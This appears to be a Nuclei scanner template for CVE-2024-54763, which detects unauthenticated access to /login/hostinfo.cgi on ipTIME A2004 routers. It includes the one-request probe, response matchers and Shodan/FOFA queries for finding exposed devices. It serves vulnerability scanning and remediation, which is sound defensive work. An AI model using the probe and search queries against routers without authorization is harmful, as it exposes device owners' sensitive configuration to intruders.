id: CVE-2024-54763

info:
  name: ipTIME A2004 - Unauthorized Access
  author: ritikchaddha
  severity: medium
  description: |
    An access control issue in the component /login/hostinfo.cgi of ipTIME A2004 v12.17.0 allows attackers to obtain sensitive information without authentication.
  impact: |
    Unauthenticated attackers can access sensitive device configuration information through the hostinfo.cgi endpoint without authentication.
  remediation: |
    Update ipTIME A2004 router to a version later than 12.17.0 that addresses the unauthorized access vulnerability.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/ipTIME/A2004/ipTIME_A2004_unauthorized_access_vulnerability_first.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54763
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-54763
    cwe-id: CWE-284
    epss-score: 0.05516
    epss-percentile: 0.9035
  metadata:
    verified: true
    max-request: 1
    vendor: ipTIME
    product: A2004
    shodan-query: http.title:"ipTIME"
    fofa-query: title="ipTIME"
  tags: cve,cve2024,iptime,router,unauth,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login/hostinfo.cgi"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "^ipTIME"

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220273299271d621ea5117dcbd844bd0ea98674809c63accb3fa7666b2d82d27712022100f4564fd7c03b9781b7fc3ca27ca9f4048845a783f1372db2b2c67af3f1418ee4:922c64590222798bb761d5b6d8e72950